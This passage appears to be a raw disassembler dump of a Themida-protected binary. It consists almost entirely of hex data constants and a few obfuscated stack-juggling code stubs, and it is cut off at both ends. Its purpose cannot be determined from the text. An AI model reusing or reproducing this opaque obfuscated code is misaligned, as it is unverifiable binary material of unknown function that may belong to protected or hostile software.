500C38D5h, 0D8779FAFh, 2DFE77E9h dd 4AD080E5h, 0A39938h, 56C20000h, 5B296179h, 0BF06D80h dd 0C71442A0h, 3BCD055Eh, 4EEEC3C9h, 0C3D58C39h, 7CB4CCA9h dd 25B9D1AEh, 4278BE30h, 91DCB914h, 0AE429BB5h, 6BA3BB98h dd 63B3FB94h, 0A671F8E6h, 0A93DA613h, 59A9058Ah, 40A474DCh dd 4D9D0614h, 54744DEBh, 314D2842h, 99AC879Dh, 8978671Ch dd 318AF31Bh, 324436DDh, 0A3296962h, 445h, 9125471Fh, 0EE82A27Bh dd 4EE2FCD8h, 0B1455938h, 10A4C09Bh, 0BD98B137h, 1DF70DA1h dd 77556BFFh, 0DAB7CD61h, 0CB7B2EC2h, 0A57FA94Eh, 51E02513h dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 0A9E99F1Ch, 3EA713A6h dd 0AAA65906h, 0D32513A6h, 73F5935h, 89BD5A6Ch, 78072AD5h dd 0A6ABD8h, 69CB0000h, 0A6A617ECh, 485AC313h, 5A795673h dd 0AE9F2AF2h, 4393ECA5h, 9DAFC9A5h, 122E09D7h, 0CEA32DDAh dd 0D9B61442h, 3A172DC1h, 7C13EA22h, 31FAE22Bh, 50A96247h dd 25158300h, 0DA4313A6h, 46682746h, 1DF694F6h, 182AC5FDh dd 40DCA41Fh, 3181EA14h, 89CB893h, 0A7FB17F2h, 62329B76h dd 8277FD3Dh, 0E2000003h, 3E54E80Ah, 9BB14565h, 0FB11A5BFh dd 5E74081Ch, 0FAD36783h, 64805BF4h, 0C2E0BAD0h, 243A182Eh dd 859D7A90h, 118E3EF1h, 13A5406Ah, 5614A3E8h, 14EB687Bh dd 0C21442A0h, 566C0059h, 0FCCD6179h, 29617956h, 0D2667E5Bh dd 0A4EB61ABh, 6F3DBA0Ah, 3D13A68Ch, 69DBCBD4h, 7A5F7F94h dd 2D2638E4h, 0B793D5FAh, 33832B64h, 0BFC74CB6h, 0E5A212BFh dd 84A2241h, 73E5358Eh, 45C106E2h, 5F3BC73Eh, 966D3345h dd 8FA382F9h, 1363BC57h, 6E809875h, 22CF1390h, 0F18DA058h dd 52A2FB15h, 0AD8CD7B4h, 96AC4099h, 0DA4DA1B9h, 0EDB6193Ah dd 2CF27ADh, 0BD950000h, 18F1079Bh, 724E64F8h, 0CFAEC458h dd 361127BBh, 47AD861Ah, 8317330Eh, 0E175936Dh, 43D7EDCBh dd 0A438502Dh, 3FC441F1h, 9B13A541h, 7956C756h, 32AF1161h dd 1442A04Dh, 0C88EA009h, 0C0109EF1h, 0CBE3C05Eh, 815EC0B9h dd 8BF413A6h, 650D0F7h, 7FE81E89h, 9EFE12F1h, 1972B036h dd 374D2BC9h, 83E54725h, 0A6037106h, 6274DD13h, 422FBB69h dd 0B1F96914h, 0F7E49C26h, 0AFBAC31Ch, 0A7043F30h, 959553Ah dd 0C0552AA7h, 9801D815h, 112BA886h, 40DFF1E1h, 52D4BDCEh dd 5062A1BEh, 1AB80871h, 0BA99253Dh, 0C1D36EA6h, 0F0CB69FBh dd 0EF019CD4h, 0DFB8C3CCh, 3A93B38Ch, 0CC1491E1h, 8EC79ED0h dd 5A37D525h, 0BB98AE42h, 40789670h, 39F84CA5h, 0A295DAADh dd 1F3DC62h, 99710000h, 0F4CDE377h, 4E2A40D4h, 0AB8AA034h dd 12ED0397h, 638962F6h, 5FF30FEAh, 0BD516F49h, 1FB3C9A7h dd 80142C09h, 0DBA01DCDh, 7713A542h, 7956A332h, 0EB3B4F2Eh dd 42A0896Eh, 83DC4514h, 0C47B94Bh, 4275930Eh, 2966899Bh dd 12B83585h, 6113A66Fh, 0BED0E4C3h, 7D027FDFh, 0CA13A650h dd 0F6C83DFh, 2D96E746h, 981940D4h, 1F6F3F50h, 548CA481h dd 4CC9A7B9h, 1442F39Eh, 0B9D3AF4Dh, 6658C8A7h, 8FEF0F91h dd 0A0ABB40Dh, 0A37882BBh, 445E3AD8h, 2E800F32h, 4A6440DEh dd 63DD5A38h, 0F1DB1D3Ah, 16795088h, 48E64898h, 443D4F6Fh dd 0C33ACC1Ch, 0F94622BEh, 33CE061Ah, 7B07A2DAh, 0B24D859Fh dd 8E6B0959h, 0EFCCE276h, 74ACCAA4h, 0F2C80D9h, 0E0997690h dd 1171AA0h, 754D0000h, 0D0A9BF53h, 2A061CB0h, 87667C10h dd 0EEC9DF73h, 9F653ED2h, 3BCFEBC6h, 992D4B25h, 0FB8FA583h dd 5CF008E5h, 877CF9A9h, 5313A542h, 79567F0Eh, 23A502Eh dd 4CBE0E67h, 0AB0FBC7Eh, 0A3B796DDh, 867DFA4Ah, 54144266h dd 3C13D9EBh, 8E0B5B53h, 13A672E8h, 8F69FD66h, 1EF712F1h dd 0AD10522h, 0AF4A82DBh, 99157A9Dh, 539BCC49h, 0DE471441h dd 0FA14F08Eh, 0F29022E8h, 2AC5FD15h, 2D71A0CAh, 798BF831h dd 1A6A825Fh, 99443BB8h, 0A9121B89h, 825F7597h, 3EA0326Ah dd 89993AC1h, 0A32F981Bh, 9F98AACAh, 47083DE3h, 3C2363E0h dd 1C3A145Fh, 0A0F049E4h, 0D20A2802h, 7E3CC340h, 319A780Eh dd 55714CD8h, 2E0B2143h, 3110DE16h, 572EE51Dh, 0EFCE6C2Fh dd 0D2AFC9DBh dd 7EB146C3h, 0B41D780Eh, 0D4B1C75Bh, 753312B5h, 0EF484B5Eh dd 0B25019Fh, 602638D3h, 0F1CE6CCEh, 9B06A1D9h, 780E3AE4h dd 63E5E37h, 9FB11A6Bh, 8CDh, 0F4925C00h, 7EAFC1Ah, 5C7E56B8h dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h dd 768A6937h, 7A94703Eh, 7B9B7442h, 8952EE43h, 4C281E2h dd 50000000h, 4B8h, 58C22900h, 5C241487h, 18B268h, 242C8900h dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0EC812404h dd 4, 0BA241489h, 68547B1h, 4A08E2C1h, 0C281DAF7h, 57F72432h dd 0EA81D2F7h, 2568B4AFh, 545AD589h, 8124048Bh, 4C4h, 0B9515500h dd 31A6706Dh, 4244C01h, 8408F59h, 6D086881h, 8B31A670h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58A287 ; --------------------------------------------------------------------------- dd 0EBF81F82h, 33B8FD59h, 307E7E4h, 0BAE0FFC5h, 40369FA1h dd 6412DE67h, 0EB2AF79Dh db 4Fh byte_5C0979 db 8Fh, 1Ch, 25h ; DATA XREF: Themida_:00585604o dd 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h dd 43A7CAh, 0DC80BA9Fh, 0 dd 0FEB41B54h, 0FE340000h, 0FBh dword_5C09BC dd 52DDB487h, 9ED92023h, 7C809E01h, 130FE9h, 57006A00h ; DATA XREF: Themida_:00582800o dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 6B7176E4h, 0E94626B2h, 5, 1219D1BEh db 0FAh byte_5C09F9 db 83h, 0BDh, 15h ; DATA XREF: Themida_:005832B0o dd 7E420h, 60850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 7F94EAC3h, 61AC4BA7h dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0E5D0494Ah, 820F067Ah, 6, 2BE9958Bh dd 4C207E4h, 38F0F00h, 66000000h, 0C08BD18Bh, 2A21B529h dd 0BD8307E4h, 7E413F1h, 83097500h, 0E40935BDh, 13740007h dd 0C08B5350h, 4D0B8h, 0C49D8D00h, 0FF07E6E7h, 83585BD3h dd 0E40935BDh, 11740007h, 0D0B85350h, 8D000004h, 0E6E7119Dh dd 5BD3FF07h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 63AE3C4Dh, 108AF5A2h, 4FE98022h dd 0D2F78166h, 57006ACDh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0CA7726A5h, 8B848F31h dd 8B8AB9C0h, 858D62BAh, 7E7E531h, 3758589h, 509007E4h dd 0AE8h, 0C51D4800h, 754D3FE9h, 6096DF3Ah, 6E9h, 13E63200h dd 0B849963Bh, 77C4F720h, 23905A61h, 0E41DE9BDh, 0EE858D07h dd 6A07E7E4h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 50C4C353h, 7B2F2A7h, 5345BD82h dd 6AF8BA66h, 66609059h, 618366BEh, 90F48A50h, 8A1BCA81h dd 85891EF6h, 7E43179h, 17DD95FFh, 0CA8107E4h, 5D83452h dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0DDC35040h, 0A3C5EFD5h, 0FAB70F60h, 61F28B66h dd 0E5198589h, 13E807E7h db 3 dup(0) byte_5C0BC3 db 4Bh ; DATA XREF: Themida_:005829F8o ; Themida_:00584324o dd 0D6B88545h, 0F3874B80h, 0C54E937Dh, 4D4C64DCh, 8D016D34h dd 7E42D35h, 24448B5Fh, 53006A08h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0AB23D44Dh, 0E89F1B7Dh dd 99BD8962h, 6607E41Eh, 7EF3DA81h, 0E52D8589h, 0B96607E7h dd 0BD83360Fh, 7E42635h, 0D7850F00h, 80000000h, 85C6D8F6h dd 7E42C2Dh, 52006A47h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 7AA6108Eh, 3622D379h, 98206868h dd 0BA5250A5h, 61F0131Dh, 0AE8310Fh, 0AC000000h, 2DC7862Bh dd 3C307880h, 0FB96623h, 585A593Ch, 0BA243481h, 6A710287h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 9C4BC351h, 950164ABh, 7E431DDh, 3860Fh, 0BF0F0000h dd 41B5FFCEh, 8D07E421h, 0E7B0A785h, 0E8D0FF07h, 12h, 51D9A591h dd 1BCA01B0h, 0B498EF72h, 9FAC0999h, 0BD899CB3h, 7E4056Dh dd 3585895Ah, 6A07E426h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 83A1C356h, 0BD83D30Bh dd 7E41B81h, 0B6850F00h, 0F000000h, 1F86h, 19870F00h, 0E9000000h dd 14h, 580E554Dh, 0CD379E72h, 7F85C2AEh, 67CA456Eh, 62EC2544h dd 2C2D85C6h, 534707E4h, 34685AFCh, 0B6519ECFh, 240481B5h dd 3870E6AEh, 0B15958Bh, 0B5FF07E4h, 7E42141h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 0ABC89AB3h dd 0A7858DA0h, 8907E7B0h, 0E41569B5h, 8E807h, 7D6D0000h dd 0C2EE143Dh, 0D38B9645h, 6AD0FF59h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89F4C351h dd 0E4027995h, 81858907h, 8B07E41Bh, 0E42F6D8Dh, 35BD8307h dd 7E41Fh, 0ED850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 7F1C60C3h, 0C9F0B87Fh dd 0E915DF0Fh, 7, 70DB12A0h, 0C6796580h, 0E42C2D85h, 8A0F5607h dd 3, 68FEBF0Fh, 69FDE19Bh, 10E95250h, 9000000h, 5B3892CEh dd 5A0EB91h, 0DB042EA4h, 0F588832h, 81585A31h, 8B9E2404h dd 81666A21h, 0FF2D42F2h, 0E42141B5h, 858DF807h, 7E7B0A7h dd 0C8D0Fh, 870F0000h, 6, 2DF2C281h, 0D0FF6344h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h, 0BCF261B5h dd 360C10D4h, 0D18D3381h, 8B07E40Dh, 0E419498Dh, 35858907h dd 6A07E41Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0FE7C350h, 687h, 28F18100h, 0C6356062h dd 0E42C2D85h, 8D236C07h, 7E41BE1h, 0F9CCDB68h, 816160A1h dd 0A3A82404h, 6A390Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0FF44BDC3h, 0E4019DB5h, 0FE907h dd 0CFB20000h, 9663C294h, 8E795FE1h, 91EBF02Ah, 8850F1Bh dd 60000000h, 0FD1BF0Fh, 8D61DEB7h, 0E43BDC85h, 0FE907h dd 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h, 6AD0FF3Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 1D1C353h, 8003A219h, 85897CE1h, 7E7E51Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h dd 0C4CA9019h, 8AD18B66h, 39BD83CBh, 7E7E5h, 0DF850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0E298ADC3h, 9E8B3h, 6A60000h, 85A800A6h dd 6089C62Dh, 12E9h, 61E9CF00h, 0AB2903DEh, 98489A33h dd 0ADB964B7h, 6047A9E4h, 0C65A6161h, 0E42C2D85h, 8D8B4907h dd 7E42321h, 0DE9h, 3784C000h, 7973563h, 0B9ABFF91h, 0D168DE5Ah dd 0F0E8D2Ah, 886h, 8F0F6000h, 0 dd 24048161h, 7D87FF18h, 2820Fh, 0D18A0000h, 19DB5FFh dd 9D0907E4h, 7E41DE5h, 3BDC858Dh, 0B70F07E4h, 81D0FFC9h dd 460114E2h, 3985894Bh, 6A07E7E5h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0CA6DC355h dd 13E9819Fh, 0F5EBC7E4h, 8E9h, 3E69D400h, 424CA399h, 0B5046A1Dh dd 4E8DEh, 10000000h, 0C8BA0000h, 50601EB2h, 614CE6BAh dd 24448B74h, 0F525004h, 52506031h, 585A310Fh, 5A615B51h dd 66008B58h, 896C78BFh, 58042444h, 2C0DB589h, 846807E4h dd 506BC128h, 8159C0B2h, 28842434h, 6A6BC0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0E5F2A0C3h dd 6A5EB1h, 0AE9h, 4B028B00h, 7EED53F9h, 0FF70712Dh, 0E423E195h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 5B1C1C4Fh, 55F89925h, 4CB2530Bh, 29858959h dd 6A07E7E5h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 96BDC355h, 0EE9358Bh, 0DB000000h dd 9D4901A1h, 0BA900ADh, 6950E671h, 2185C7C2h, 7E7E5h dd 66000000h, 6AEE8ABFh, 2BB96600h, 713168CCh, 3481033Dh dd 3C713124h, 0DF816603h, 8B905208h, 0BA6650F9h, 6A909FC7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0FE1CC357h, 1B8BEC9Ch, 9D8934B5h, 7E40E99h dd 0E1C98166h, 6A0B6A7Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 749DC353h, 743A88D4h dd 0D9BD8B5Bh, 8D07E42Ah, 0E7E4F685h, 0FFB70F07h, 810F90h dd 50000000h, 2990CA8Bh, 0E4258D95h, 3595FF07h, 6A07E426h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 8101C353h, 89CA8B66h, 0E4246D85h, 0B58D07h dd 6A07E7E5h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0B07C355h, 0E4245995h, 0FA8B9607h dd 3820F50h, 66000000h, 6A96CA8Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 97B6C351h dd 89F0F88Eh, 0CDCE6FB9h, 19BD033Dh, 0BA07E423h, 345FACE6h dd 58C0F90h, 0BF000000h, 491EF6F6h, 12BA6650h, 6A90C4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 2400D2C3h, 892E7248h, 0E40DB9BDh, 13E907h, 0ADAE0000h dd 210316D3h, 0B86C0DCFh, 0EF686B57h, 33A81DEh, 0BE9E5h dd 50680000h, 1D67495Bh, 97EE631Ah, 8195FFF6h, 0F07E41Bh dd 0C00BF8BFh, 55850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 5297EAC3h, 819E5EC0h dd 27F40CEFh, 753E92Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0E96A70C3h, 7, 6448D630h dd 0FF8EB1E8h, 0FDBD8BD0h, 8B07E41Ah, 0E7E529B5h, 6DBD2907h dd 2B07E432h, 0E405F9BDh, 20468D07h, 46AFB8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A9C35545h, 0FC62586h dd 81h, 0BE85000h db 3 dup(0) byte_5C139B db 32h ; DATA XREF: Themida_:00582624o dd 35C98645h, 3E859BB5h, 895FAB1Dh, 958B2404h, 7E40D51h dd 0E53995FFh, 0B96607E7h, 0C00B3ED3h, 24840Fh, 0B1600000h dd 0DE99Ch, 0A10000h, 63F38D1Dh, 836F1A51h, 61205BF9h dd 69CE9h, 3840F00h, 0F000000h, 7E80D0B7h, 840F0020h, 689h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h dd 1CE18D2Bh, 6A6007E4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 7E4DC357h, 66C3D68Dh dd 0BB4EC981h, 6860Fh, 95290000h, 7E42491h, 6A20468Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0B0B9C353h, 0EC0E61B9h, 89EE8ABAh, 62CA8049h dd 0E5258589h, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0A784B0C3h, 0A04AA276h, 0BD89B22Ah dd 7E40199h, 134E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0B3DA1FD4h, 40D3BF0Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D4C35040h dd 0CF374063h, 66A58143h, 0BA50D68Bh, 49795846h, 8B240489h dd 6A046AFEh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4633C350h, 3351C570h, 0E413C58Dh dd 84BA5F07h, 901C4D40h, 10E9h, 74484600h, 0C5CF7D1h, 0DF4B38A2h dd 67319271h, 0BB6050B5h, 79B1C311h, 61DE8B66h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 6B811153h, 3230BA66h, 0E53995FFh, 8D3107E7h, 7E41C05h dd 5158D88Bh, 12A99D29h, 0B5907E4h, 4E840FDBh, 0E9000000h dd 10h, 51B2CCA9h, 0C40E09DBh, 2E818A0Ch, 0F10A859Fh, 4D4E9h dd 8B606000h, 0F59589C7h, 6107E40Eh, 2F9DB58Bh, 526107E4h dd 1A890Fh, 14E80000h, 0EB000000h, 6570A636h, 8C425529h dd 0FD98B9Ah, 482BEE6Fh, 5FB6ADA3h, 388059h, 0FEE5850Fh dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 390ADDC3h, 0E52BE12Ah, 89E82363h, 0E4264195h dd 19E907h, 8A0F0000h, 0Ch, 68E0Fh, 880F0000h, 0 dd 0BD8D0B48h, 3B07E426h, 0E7E52585h, 54820F07h, 60000000h dd 2E19D8Bh, 8D8907E4h, 7E42525h, 5C388061h, 3D840Fh, 8D8B0000h dd 7E41FD9h, 0F2F3880h, 0FFFFC785h, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0A285C76Eh dd 0F8A7A677h, 81566F23h, 97F039D9h, 40F55F6Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2DC35545h, 60340172h dd 156D9501h, 6ABF07E4h, 6157B8AEh, 76F0BF66h, 0E52DBD83h dd 0F0007E7h, 1DD84h, 418D2900h, 9007E425h, 8B525050h dd 50310FF8h, 0E9310F52h, 11h, 841D01EDh, 56C239B2h, 0B895075Bh dd 0A205AEC6h, 5A585AF7h, 6A9058h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 2700CBC3h, 0BD897DF5h dd 7E423F1h, 0E52D8503h, 8D0307E7h, 7E403C5h, 24048950h dd 1D1D9D29h, 46A07E4h, 0F32BB8B9h, 6E89033h db 3 dup(0) byte_5C173F db 9Fh ; DATA XREF: Themida_:00584B2Co dd 5C23F73Eh, 59FA8BB8h, 0BF525050h, 5A271CD2h, 6060310Fh dd 585A6161h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0F90C492h, 8ADC43BCh, 0A18D89F1h dd 8107E426h, 510FB2CAh, 3995FF35h, 6A07E7E5h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 8524C352h, 0D1EC2261h, 8D8BF3BFh, 7E41C15h, 1B499D89h dd 0D88B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0D9C35747h, 4A9339E5h, 6613D937h, 58E6FEBFh, 0FDB0BF8h dd 6084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 7C3B613Ch, 666F87E7h, 0F834C181h dd 4798D33h, 56E907E4h, 6A000002h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4528C353h dd 268F0344h, 6800F59h, 89000000h, 0E4036D8Dh, 0C607h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ABC35545h dd 0E1B7EB3Eh, 958B3F2Eh, 7E4321Dh, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 6732E88Fh dd 0B369137Ch, 8904F281h, 66900B63h, 8B50D68Bh, 0DE990D6h dd 0A6000000h, 0C1BD6682h, 0AB43D987h, 0E947A0DDh, 6A1E6Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0C757B4C3h, 5E9h, 9C793D00h, 840FC931h, 5, 0CA6962B9h dd 0CE95054h, 0C000000h, 0A008D39Fh, 6C3AD078h, 89D7163Fh dd 81662404h, 0FF0A16C9h, 0E7E53995h, 0C880F07h, 0E9000000h dd 7, 175C10C4h, 8BC7F997h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0C2A5C05Fh dd 0FB5E78Ah, 1280h, 0DE900h, 765E0000h, 7832EB3Bh, 0C74F99D2h dd 58529DACh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 4DC35040h, 64DE0831h, 89344936h, 0FDB0B03h, 3284h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0E9684C11h, 0C5h, 9810Fh, 0F5600000h, 13A98D01h dd 506107E4h, 39B864BAh, 24048905h, 0B5FFFA8Bh, 7E7E519h dd 0BAFA8B66h, 525056D0h, 0E51D95FFh, 958B07E7h, 7E40B1Dh dd 850FC00Bh, 53h, 7E8h, 161C6900h, 0DDFEBFE6h, 56FFB966h dd 13E86159h, 1000000h, 0F7E65ED8h, 6E8CF65Bh, 0EEC6F854h dd 0DA1C8D1Ch, 0E180AC92h, 0BE95FCCh, 0C000000h, 0FA4C1BECh dd 794EBF76h, 85C7A74Fh, 7E7E521h, 1, 0B15B589h, 36E907E4h dd 61000000h, 12810Fh, 0DE90000h, 0C3000000h, 85EA17D9h dd 0B0505797h, 89357576h, 11CC681h, 95890000h, 7E43029h dd 6F98589h, 0F6E907E4h, 9FFFFF8h, 0E4013995h, 654E6807h dd 0AE94B0Eh, 16000000h, 79D2987Dh, 8967C5BBh, 2434816Ch dd 4B0EE54Eh, 148D8D09h, 958907E4h, 7E40111h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0B80C12C3h, 11496DF7h, 0B2EE33BFh, 29B5FF11h, 2907E7E5h dd 0E4183D9Dh, 3595FF07h, 8007E41Fh, 858B02D9h, 7E7E521h dd 7098D89h, 0E89007E4h, 7, 0D7DFDFBh, 5048EFA2h, 860F52h dd 0F000000h, 0F525031h, 5A585A31h, 50505958h, 0FD18B52h dd 6BF6631h, 90585A0Ch, 8DD7BF0Fh, 0E7E53185h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0C370B4A1h, 0ECC70F21h, 0F58D8B04h, 9007E42Ch, 198E0Fh dd 14E90000h, 28000000h, 19AF0878h, 8C4CA90h, 0CBE583FBh dd 0AB312E3Bh, 5039639Bh, 8B665250h, 60310FD6h, 5A616160h dd 0BD299058h, 7E4006Dh, 0E4EE858Dh, 0BF6607E7h, 8950D852h dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0D00BC2C3h, 69FF5F37h, 66572AE7h, 0FF59CE8Bh dd 0E40B8195h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0C182235Dh, 6AC08Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 5F9860C3h, 0F88B6656h, 13F1BD83h, 750007E4h, 35BD8309h dd 7E409h, 53501374h, 0D0B8C08Bh, 8D000004h, 0E6E82B9Dh dd 5BD3FF07h, 35BD8358h, 7E409h, 53501174h, 4D0B8h, 2A9D8D00h dd 0FF07E6E7h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 1ECEC352h, 0EA91F8E5h dd 0E626D2BFh, 271958Bh, 0C08B07E4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 6DC35545h, 9187C9F8h, 0B70F9A7Fh dd 6A58D0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 875905C3h, 59310C61h, 0FA8B660Bh, 6A0008C2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 88B3C350h, 0D85EB253h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 257168C3h dd 12E9B7h, 5EA90000h, 77E4C385h, 0B34292A8h, 2E9134D1h dword_5C1D10 dd 0EFCDFE2Fh, 0E56E858Dh, 0FA8B07E7h, 0E258589h, 39EB07E4h ; DATA XREF: Themida_:00583E40o dd 0AF0000h, 0AF02CCh, 0AF02E4h, 0 dd 4644E2E6h, 775DEE0Eh, 234CE6CDh, 4E47E225h, 4F4DA544h dd 77678BF8h, 2365C70Eh dword_5C1D50 dd 5366FF6Bh, 4B7DE5F7h, 4748EE3Bh, 0A8DCEBA4h, 7629E192h ; DATA XREF: Themida_:00582E14o ; Themida_:005838F8o dd 232988C1h, 0E074AB94h, 7450217h, 76D0A21h, 23299396h dd 0E07CCE49h, 5F106F59h, 7DEE0AAFh, 0A04B3F8Ah, 0C73A7A29h dd 2A5C8B4Dh, 2A1C36A6h, 57298C76h, 0A87ADB50h, 27903364h dd 0A6A08B52h, 24CD9F50h, 0CAD91619h, 0F0D68CACh, 9EAAD37Eh dd 24CD82A7h, 733EFF49h, 279033F7h, 0A6A08B52h, 24CD9F50h dd 0C5F61619h, 0F0D68CACh, 0AE18D37Eh, 24CD8BB7h, 0CB7B8B23h dd 23298BA7h, 79EAD172h, 270DDFA0h, 270DCF15h, 23298B52h dd 0F0EAD967h, 43CA757Fh, 23434BC2h, 232A63F4h, 7B098B52h dd 67A0D3EAh, 67A88FB0h, 23348F6Eh, 73698B25h, 0F5B5A351h dd 0DF979E55h, 2C79A8EFh, 232987D3h, 25AE8429h, 0A298B94h dd 0C727B6C7h, 0EAC4D22h, 752E6FBEh, 29E816C0h, 0E5418C40h dd 0A8141888h, 72D0AF9h, 7C3D5618h, 232980A3h, 35D9B425h dd 448802C0h, 0E871266Ch, 2683E5Bh, 9EA28CB6h, 24CD8E3Ch dd 938E0E19h, 96288CADh, 24CDAAB8h, 0A9265B6Dh, 23298B4Eh dd 23280FABh, 10D58B52h, 0C70F729Ch, 492DE193h, 20C1D84Ah dd 3298B25h, 0AA7248C9h, 0A22DAF15h, 382DAFE0h, 60298B52h dd 56CA487Ah, 669191E4h, 0D241F09Eh, 0CA6C4FF1h, 23298B9Ch dd 0DAECA643h, 92AB38A1h, 701D40F2h, 17A89997h, 0E7ED7AB0h dd 7029E10Fh, 232988CDh, 0E072AB92h, 7750212h, 76D0AA0h dd 23299E56h, 0E07AC829h, 9EA0D0FCh, 24CDA913h, 0D4A2ED76h dd 3B66E3C8h, 28C1D1C6h, 0EB298BA4h, 4E813355h, 0BC4EE06Dh dd 2C7A96D0h, 23298BCDh, 0A276D225h, 398AAFA6h, 0BEA0D1C6h dd 24CD8251h, 23438B38h, 232A6378h, 7A098B94h, 